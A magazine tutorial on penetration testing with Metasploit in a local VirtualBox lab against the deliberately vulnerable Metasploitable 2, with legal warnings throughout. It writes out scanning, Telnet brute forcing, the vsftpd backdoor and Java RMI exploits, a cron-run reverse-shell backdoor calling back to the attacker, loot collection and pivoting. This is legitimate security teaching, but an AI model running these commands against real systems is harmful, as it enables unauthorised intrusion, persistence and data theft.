You’re not being paranoid: hackers really are out to get you (and everyone else) and exploit you for profit. Cybercrime is already a huge problem. A survey for Get Safe Online Week (an initiative by Get Safe Online, a public/private partnership supported by the UK government) in 2014 found that over half of the people surveyed had been victims online. As more and more devices are connected to the internet, the problem is only going to get bigger.

The only effective defence against online crime is knowledge. Understanding the tools and techniques that the bad guys are using will enable you to make sure you don’t fall prey to their attacks. A solid grasp of computer security should be considered essential for everyone, and here at Linux Voice, we believe in learning by doing. We’re going to look at one of the most popular attack tools used by both penetration testers (who are trying to help people make their computer systems more secure) and black-hat hackers (who are trying to break in for their own ends) – The Metasploit Framework.

Metasploit can help with just about every aspect of an online attack. It’s open source, and includes a huge variety of exploits for known vulnerabilities as well as various scanners, and other tools. In this article, we’ll use it to investigate the victim, run some exploits, and then extract all the information we need from the compromised computer. In order to practice hacking, you need a machine to hack into. By far the best option for this is a virtual machine. Using a virtual machine enables you to quickly create a machine that has a lot of vulnerabilities, and limit access so it’s protected from any nefarious people on your network. We’re going to set up a hacking lab using VirtualBox. The first thing you need to do is install the software through your package manager. This is usually in a package called virtualbox.

Set up your environment

Building the perfect virtual lab to sharpen your hacking skills

Once you have VirtualBox, you need some virtual machines to run on it. We’ll use two: a victim and a target. For the victim, we’ll use a specially created vulnerable Linux distro called Metasploitable 2, which is available from http://sourceforge.net/projects/metasploitable/files/Metasploitable2. This will download a ZIP file that contains a folder of virtual hard drive files. Extract it, then open VirtualBox. Create a new machine, Give it a name, and select the type as ‘Linux, Ubuntu 32 bit’.

On the next screen, you can select the amount of RAM. This machine doesn’t need much – 512MB should be fine. After clicking through, you’ll be asked to select a hard disk. Check the Use An Existing Disk option. There’s a button next to this option that looks a little like a folder icon. You can use this to open a new dialog where you can select the metasploitable2.vmdk file that you’ve just extracted from the downloaded ZIP. Hit Create to make the virtual machine.

Virtual machines and networks behave exactly like the real thing, so they provide the perfect environment for hacking – without risking your getting into trouble.

Networking

Before starting the machine, you need to set up a virtual network. Using a virtual network rather than a real one will keep your victim machine safe from any other threats. In VirtualBox, go to File > Preferences, then Network > Host Only Network. Click on the plus sign icon, and it will create a new entry in the list – this is the new virtual network. Click on OK.

With the network created, you need to attach your virtual machine to it. Right-click on the Metasploitable 2 virtual machine and select Settings from the pop-up menu. Go to the Network tab and change the ‘Attached To’ drop-down to Host-Only Adaptor. The network name should match the network you just created.

Now you’ve got something to attack, you need the tools to attack it. Many distros include Metasploit and other hacking tools in their repositories. However, they can be a bit convoluted to set up, so the easiest way to get started is with a distro designed for penetration testers. The most popular of these is Kali (www.kali.org). You can run this live in a virtual machine.

Download the ISO file from https://www.kali.org/downloads, then open VirtualBox and click on Add to setup a new virtual machine. In the first screen, you can give it a name and select 32- or 64-bit Ubuntu (depending on which version you downloaded). On the next screen, you can allocate memory for the virtual machine. Try to give it at least 2GB, though if you’ve got less than 4GB on the system, you might need to reduce this

Since we’ll be running Kali live, we don’t need any storage, so select ‘Do Not Add A Virtual Hard Drive’. Then click on Create, and the machine will be added to the list on the left-hand side of the VirtualBox window.

As with the previous machine, you need to go into Settings and change the network adaptor to host-only (though you don’t need to repeat the step of creating the network).

Everything’s now set up, so you can start both machines. When you start the Kali virtual machine, it will prompt you to add a bootable CD. Click on the directory icon and navigate to your recently downloaded Kali ISO. This should now boot into the Kali graphical desktop (based on Gnome).

Metasploitable will boot to a command line, but we don’t need to interact with it. All the software we need is started by default.

You can customise most aspects of the virtual machine from within VirtualBox’s settings window. You can adjust the RAM, add storage, give the VM access to multiple CPU cores and more.

Legalities

What we cover in this article is running some attacks on a test server you’ve set up on your own machine. Since everything is virtualised, nothing should even leave your machine, so everything we’re doing is perfectly legal. However, the techniques and tools used in this article can land you in a lot of trouble if you use them against other computers that you don’t own. The courts won’t care whether you’re doing it because you’re just interested in computer security, if you’re trying to make a profit, or if you’re just searching for evidence of extraterrestrial life, as Gary McKinnon found out. If you are asked to investigate someone else’s security, make sure you get written permission before starting. Many legal jurisdictions take a very hard line against computer crime, and gaining unauthorised access (or even attempting to) can land you in a huge amount of trouble. Just don’t do it.

This article is written to educate computer users about the techniques that bad guys are using, and as such, we’ve focussed on the attacks. We haven’t talked at all about how to avoid getting caught – therefore, if you try this method out against a real victim, there’s a very good chance you will get caught. Again, don’t do it.

Gather information

Knowledge is power, so grab a power-up.

When you want to launch an attack, the very first step is to investigate what you are attacking. It could be one machine, or it could be a whole organisation. You might just go after the computers, or you might also be able to use social engineering to get information out of people. If you’re performing a penetration test, you need to agree exactly what you’re allowed to attack, and what you’re not. For the purposes of this article, we’ll just attack the Metasploitable server and nothing else. Our attack surface, then, is everything on that server, but not the underlying network or vitualisation tools.

Once we’ve identified the attack surface, we need to look at everything on it in detail to find out where vulnerabilities may lie, but before we get to that, we need to set up the software. Almost all of the work we’ll do in our attack will be in Metasploit. This is a framework for conducting penetration tests, and works at every step along the way.

Before we begin information gathering, we need to start the required services. In Kali, open a terminal and enter the following.

service postgresql start service metasploit start

There are quite a few components to Metasploit, and even a web interface. We, like many penetration testers, prefer to use the console interface, MSFConsole. This provides a terminal-like interface with the ability to run all sorts of scans and attacks. You can start this with:

msfconsole

The first thing to do is make sure that your MSFConsole session has properly connected to the database. You can do this with:

db_status

Without this, you won’t have access to the full features of Metasploit.

Now it’s time to begin the intelligence-gathering stage of the penetration test. One key thing here is to find out what you could attack, and that means discovering what’s running on the server.

If you don’t like the command line format of Nmap, you can use Zenmap to provide an easy-to-use GUI – however, this doesn’t integrate as well with Metasploit.

Scanning ports

First, we need to look at what ports are open (ports are numbered access points on a computer interface that allow a client to send data to the correct piece of server software running on a server). Open ports mean that some server software is listening and capable of receiving data, and anything that can receive data can be attacked.

The most powerful tool for gathering information about open ports is Nmap, and Metasploit includes the ability to run Nmap without leaving the MSFconsole. First, you need to know the IP address of the target. You may not know this precisely, but you should know that it’s on the same network as your machine, so you can find out the IP address of the attacking machine with:

ifconfig

You should see an IP address (labelled inet addr) in the eth0 block. In our case, it was 192.168.56.102. Other machines on the same network should have similar addresses, so you can scan a range using:

db_nmap -sS -A 102.168.56.100-120

Here we’ve used the options -sS (SYN scan, which checks for TCP handshakes) and -A (enable OS detection). It may take a few minutes to run.

This will find quite a few servers running on the target machine, and it will save them all in the database. You can pull the information about running services from the database at any time with:

services

You can also see what computers the scan discovered with:

hosts

As we move on, we’ll also use the commands creds (to show the stored credentials in the database) and vulns (to show which vulnerabilities work).

Each time you load MSFConsole, you get a different ASCII art welcome message.

Vulnerability databases

Once we’ve discovered what servers are running, we need to see if there are any known vulnerabilities on these server versions. When security researchers discover a vulnerability, they assign a unique CVE number to it (Common Vulnerabilities and Exposures). This means that it can be tracked from discovery to fix.

There are a few online databases of CVEs that we can look at. Generally, CVEs are only made public after a fix has been issued, so if the administrator has kept the system up to date, this won’t be of much use. However, some admins don’t keep everything fully updated, leaving their networks potentially vulnerable.

Extra features

The more details you have about a particular service, the more likely you are to successfully exploit it. Metasploit also includes a few extra scanners that we can use to find out more about particular features of the target. The Nmap scan didn’t bring back much information about the Samba service, so now we can use an additional module to find out more.

Modules are the parts of Metasploit that do all the actual work. Through this article you’ll see how they can be used to scan, attack and exploit targets. There are thousands of different ones available, and more get written every day. An important part of learning to use Metasploit is becoming familiar with the different modules available, and this takes time and experience.

The simplest way to get started with modules is to use the search function to help find what you need.

search smb

This will show all the modules that include a reference to SMB (a common abbreviation for Samba). You’ll see how the different types of modules work later on, but for now we’re interested in auxiliary/scanner modules. Specifically, auxiliary/scanner/smb/smb_version. You can use this with:

use auxiliary/scanner/smb/smb_version

You should now notice that the command line has changed to:

msf auxiliary(smb_version) >

This means that the module loaded successfully. Modules each have a set of options that you need to set before you can run them. You can see what options a module has with the command show options. If you run this now, you’ll see that there are five options, but only two are required, and only one of these is missing: RHOSTS. This stands for Remote Hosts – in other words, it’s the computers you want to attack.

You can set and change options with the set command. However, since we’ll be using a few modules that all have the RHOSTS option, we’ll use the setg (set globally) command, which sets the option for all modules.

setg RHOSTS 192.168.56.101

You may need to change this if the IP address of your Metasploitable VM is different. Once you’ve done this, you can enter show options again to make sure it’s picked it up, then enter run to run the module. If you run services again, you’ll see that you now have a little more information about port 445. Now you have all the information you need to start attacking vulnerable services. In the next section, we’ll put this information to use…

Websites

You may have noticed that in Metasploitable’s list of services there was an Apache server running on port 80. This could potentially be used as another attack vector, but Metasploit isn’t the best tool for scanning websites. If you open the web browser (IceWeasel), and point it to the IP address of the target you’ll be able to see what’s running. You should find that it’s TikiWiki, DVWA, Mutildae and WebDav. DVWA and Mutildae are deliberately insecure web apps, with Multidae in particular being vulnerable to just about every exploit there is. There are many ways of attacking them – try it!

Exploiting the victim

Gaining access to a remote host

Exploitation is the part of penetration testing where you actually break into the victim (or, at least, you try to). Again, we’ll use MSFConsole to manage our attacks. We saw the Telnet service in the scan, so the first attack we’ll try is a simple Telnet brute force attack (brute force attacks are where you just try lots of login details in the hope of finding valid credentials).

First, you need to find the right module with:

search telnet

The module we’ll use is auxiliary/scanner/telnet/telnet_login, so we’ll enable this with:

use auxiliary/scanner/telnet/telnet_login

There are some options that we can use to specify how we want this module to run. You can see them with:

show options

The most basic one is RHOSTS, which is the Remote Host(s) that we want to attack, but this should already be set, because we used setg in the previous module. We also need to specify what usernames and passwords we want to use in the brute force attempt. There are various word lists included with Kali at /usr/share/wordlists/. Telnet brute force attacks are quite slow, so we need to use a fairly short list, or leave it running for a very long time. You can set the options using the set command:

set RHOSTS 192.168.56.101 set USER_FILE /usr/share/wordlist/metasploit/unix_users.txt set USER_AS_PASS true

You may have to change RHOSTS if your target machine is at a different IP to this one. We haven’t specified a password list. Instead we’ve said that we want to try the username as the password for each user. This will run quickly, but it relies on users being very careless.

With these set, you can enter run to begin the attack. This one will take a little time to execute. As it does, it will show which logins aren’t working (with a blue minus sign), and which are (with a green plus sign). It will also save all the found credentials to the database (you can view them with the command creds), and it will open sessions for each set of credentials. Sessions are connections to the victim that you can interact with. These are usually shell sessions (the same as when you open a terminal on Linux), but not always. We’ll see another type of session in a future attack.

You can view all the sessions with the command sessions, then attach to one with:

sessions -i <number>

Where <number> is taken from the sessions list. This will drop you into a normal Linux session for the user, and you can do whatever the user can do. When you’re finished, you can press Ctrl+Z to exit the session (but keep it open).

Kali contains just about every useful security tool that’s available for Linux, so time browsing through the menus is time well spent.

Gaining root

The previous attack exploited users who hadn’t created secure passwords; now we can take a look at an exploit that attacks a software vulnerability.

Entering services will give you the list of open ports that you discovered in the intelligence gathering stage. All of these can be attacked, and all are vulnerable in one way or another. As you gain experience, you’ll learn which services are good sources of vulnerabilities, and where you are likely to find fruitful attacks. For now, let’s just start at the top with vsftp.

Enter the following to get all Metasploit modules related to vsftp:

search vsftp

Only one result is returned: exploit/unix/ftp/vsftp_234_backdoor. The description tells us that this affects VSFTP version 2.3.4, which is what’s running on the server. It looks like this will be a good attack. Enter the following to select the module:

use exploit/unix/ftp/vsftp_234_backdoor

Then you need to set the RHOST option so the exploit knows what the target is:

set RHOST 192.168.56.101

Now you just need to enter run to attack the victim. Once you’re in the shell, you can enter whoami to find out what user privileges you have. You should find that you’re logged in as root. This vulnerability is a deliberate backdoor designed to compromise the entire system, and as you’ve just seen, it can do just that.

Before moving on to look at what we can do once we’ve compromised a computer, we’ll look at one final attack that ends with something a little different to a normal Bash shell. We’ll attack the Java RMI Registry server to achieve this.

As before, the first stage is to find an appropriate exploit. This is done with:

search rmi

This returns quite a few exploits, but most of them are for Windows. The one we’re interested in is exploit/multi/misc/java_rmi_server. You can use this with:

use exploit/multi/misc/java_rmi_server

Again, there are some options that we can use to customise the behaviour, so enter show options to see what they are. You’ll need to set RHOST again to the IP address of the victim.

The previous attacks have opened shell sessions on the server, but this one is a bit different: this attack enables us to run code. The software that we get the exploit to run is called the payload. There are different types of payload for doing different things, and different ones are compatible with different victims. If you enter the following, you’ll see a list of payloads that are compatible with the currently selected exploit:

show payloads

We’ll use the java meterpreter bind_tcp payload, which will create a Meterpreter session and allow us command line access to the victim. Enter the following to set the payload:

set payload java/meterpreter/bind_tcp

Once this is set, you can enter run to exploit the victim. Once it’s finished the exploit, you should see the command prompt change to:

meterpreter >

This means that you’re running a Meterpreter shell on the victim’s machine. We’ll look into exactly what this means in the next page. For now, we’ll just check what permissions we’ve got:

meterpreter > shell whoami root exit meterpreter > background

You’ve now seen a few different exploits that get access to the victim. In the real world, learning how to find exploits that work on victims is a huge part of penetration testing, and it relies on good information gathering, a bit of guile and plenty of experience. Now we’ll go on and take a look at what we can do once you’ve successfully exploited a victim.

White-hat hacking

Penetration testing and white-hat hacking are the process of attacking a piece of software in order to report any vulnerabilities you find so that the software can be made more secure. Some companies have rules that allow white-hat hackers to attack certain parts of their systems (such as Facebook: https://www.facebook.com/whitehat). However, if a company doesn’t have specific rules for white-hat hacking, or you don’t have permission, then you could get into legal trouble if you attempt to break in, regardless of your motives. If you want to start white-hat hacking, then trying out the other vulnerabilities on Metasploitable 2 is a great way to start. Once you’ve done that, you could try installing a piece of open source server software (such as WordPress or OwnCloud) in a virtual machine, and trying to break in. Should you find any vulnerabilities, be sure to follow that project’s security issues disclosure policy to give the developers a chance to fix the problem before making it public. Happy hacking!

The different payloads work in different ways to provide the attacker with access to the target system, and selecting the right one can help you avoid detection.

Automatic scanning tools

Attackers can use brute-force tools to identify any exploitable vulnerabilities. These tools flood the target with huge numbers of requests looking for all signs of any known vulnerabilites, and then report back which problems they find. There are quite a few different scanners, such as:

w3af A web application security scanner

Nessus A commercial tool for scanning servers

wp-scan A scanner for WordPress vulnerabilities

sql-map A tool specialised in SQL injection vulnerabilities

There are a few problems with automated scanners. First, they can report problems where there aren’t any. These false positives take time to investigate, and can end up being more cumbersome than running scans manually. They can also miss some vulnerabilities, which can lead to a false sense of security, and they send a huge number of requests, which can alert the target to the attack. Whether or not this is a problem depends on the terms of the penetration test.

Automatic vulnerability scanners are a useful tool that a penetration tester can use, but they aren’t a replacement for skill or experience.

w3af can automatically crawl a web app and identify a large number of vulnerabilities. However, it will also miss many that a human penetration tester would find easily.

Post exploit

What to do after you’ve broken in

The vulnerability you’ve exploited could be patched at any moment, so the most important thing is to make sure you keep access to the machine. One way to maintain access is to install a backdoor to the machine. Metasploit comes with a few useful tools to help us do this. The MSFPayload command is used to build standalone executables that, when run, execute different payloads like the ones you can deliver through exploits. We’ll use it to create a backdoor.

This isn’t run through MSFConsole; you you’ll need to open a new terminal and run the following:

This tells MSFPayload to use the reverse TCP version of Meterpreter for x86 Linux. The two options are the listening server and port. Note that this time it’s the machine that you’re attacking from, not the machine you’re attacking (as with the RHOST options used in exploits). The X option is to make it an executable. By default, MSFPayload dumps the output to the terminal, so to make an executable file, we just need to redirect this to a file. We called ours backdoor, but you may wish to name yours something a little less conspicuous.

Now we’ll use the Meterpreter session from the previous exploit to insert this backdoor. Switch back to the session (using session -i <number>), and enter the following:

cd /root lcd /root upload backdoor

Unlike a normal shell, Meterpreter maintains two working directories, the local working directory and the remote working directory. This is useful for when you want to transfer files between the two. The cd command (and other commands such as pwd and ls) all run on the server using the remote working directory. The lcd (and lpwd) do the same but on the local directory.

The commands upload and download are then used to transfer files between the local working directory and the remote working directory. The upload command goes from local to remote, so that’s the one we need to put our backdoor on the victim’s computer.

The shell command drops us into a regular shell. Here we need to make sure the backdoor is executable, and make it run. There are many ways of getting a command to run automatically in Linux, but one of the easiest is to use cron. Adding the following line to the crontab file will make the backdoor run once every five minutes.

*/5 * * * * /root/backdoor

This should ensure that we constantly have a connection even if it gets dropped at some point. The commands you need to do all this in the shell are:

We’ve edited the crontab this way (rather than by using an interactive editor) because the Meterpreter shell can be a bit odd with Ctrl and Escape, so it’s generally easier to avoid using interactive programs in the shell. If you want to edit a text file, you can edit command in Meterpreter.

Now the backdoor is uploaded and running (or will be in under five minutes), you need to set up a listener for this payload. First, exit the Meterpreter shell with:

background

This will leave the session open, so you can rejoin it later with sessions -i <number>.

Now you need to start a handler running. This is one of the Metasploit exploit modules. You just need to set the appropriate options and run it:

use exploit/multi/handler set payload linux/x86/meterpreter/reverse_tcp set LHOST 192.168.56.102 set LPORT 1337 run

It may take a little while (up to five minutes) before the victim connects back to us. Now that you know that you can continue to access the server, you can start looking into what you want to do with your exploited machine.

The website cve-details.com provides information on every reported vulnerability in software, and is a great place to start when trying to find a way into a machine.

Stealing loot

Another advantage of Meterpreter over a normal command shell is the ability to run scripts that are stored on the attacking machine. There are a wide variety of post-exploitation modules that come with Metasploit that can be used to manipulate the victim machine in some way. You can view all the options by entering the following in MSFConsole (not a Meterpreter shell):

search type:post

Most of these are for Windows (that is, the victim is Windows – they can be run from a Linux machine), but there are some for Linux. If you switch back the Meterpreter shell (use sessions -i <number> if you’ve left it), you can run them with:

These will search for password hashes and configuration files respectively. They will output some information to the screen, but they’ll also save all the details to the database. This interaction with the database is another advantage of the Meterpreter shell. To get the data you’ve acquired from the victim, exit the Meterpreter shell (with the background command), and then enter the loot command. This will bring up a list of everything that’s been stolen from the victim, and where any files are stored on the attacking computer.

Compromising one machine might give you access to other machines on the same network that previously were protected by a firewall. For example, an organisation may host a web server on its LAN and use a public-facing router to forward all incoming traffic on port 80 to that web server. This means that if you get access to the web server, you can then send traffic to machines that simply weren’t accessible before.

Here, you can go back to stage 1 (gathering information), and use the network discovery techniques again to find out what computers are available. This process is essential for the penetration tester, but it’s hard to simulate (though not impossible if you want to spend some time configuring host-only networks for multiple VMs on VirtualBox).

Compromised machines can also be pivoted to attack computers outside the network. This is a useful method of distancing yourself from the final target, and can be a good way to gain additional bandwidth for an attack.

MSFConsole enables you to pivot a compromised machine by routing your traffic through it. This has a couple of advantages. If the compromised machine is on another network, it means you can use the compromised machine to attack the LAN. Alternatively, you can use the compromised machine to hide your real identity. This is done using the route command, which takes the form:

route add <subnet> <netmask> <session>

So, if you wanted to route all traffic to subnet 192.168.56.0 with netmask 255.255.255.0 through Meterpreter session 1, you would use the line:

route add 192.168.56.0 255.255.255.0 1

The adventure begins!

There are loads more vulnerabilities in Metasploitable 2 you can investigate, and lots more ways you can use Metasploit to take advantage of the exploited machine.

By now you should know just how easy it is to take advantage of a known vulnerability. These vulnerabilities aren’t usually published until after the software has been patched, so if you keep your software up to date, you should be safe against the majority of attacks (though improper configurations and poor passwords are also fertile ground for attackers).

You’ve also seen how easy it is to create a backdoor on Linux (it’s just as easy on other OSes), so you shouldn’t believe that Linux offers any protection against running insecure code. Only install software from trusted sources, otherwise you run a very real risk of being compromised.

There are three non-open web-based versions of Metasploit: the Community edition, the Express and the Pro. The more you pay, the more automated your penetration testing can be.

Exploring the system

The better you know Linux, the more you’ll be able to learn about the system you’ve broken into, and the better your post-exploit will go. There are almost endless places you can get useful information from; here are some places to start:

/etc This directory contains all configuration files for the system. It can be complex to understand them, and mis-configurations are a common source of bugs.

Permissions Linux sets permissions on a file-by-file and directory-by-directory basis. You can find all the directories your user has permission to write to with the command:

for f in $(find / 2>/dev/null); do if [ -w $f ];then echo $f;fi; done

Running services At the information gathering stage, you should have scanned the host to see what was running, but that will just show what’s publically accessible. There might be more (for example, running on a different network port). You can use the commands ps (to see all running software) and netstat (to see servers listening on ports) to find out more.

From Linux Voice issue 15. Click here to subscribe for more top-quality Linux learning every month!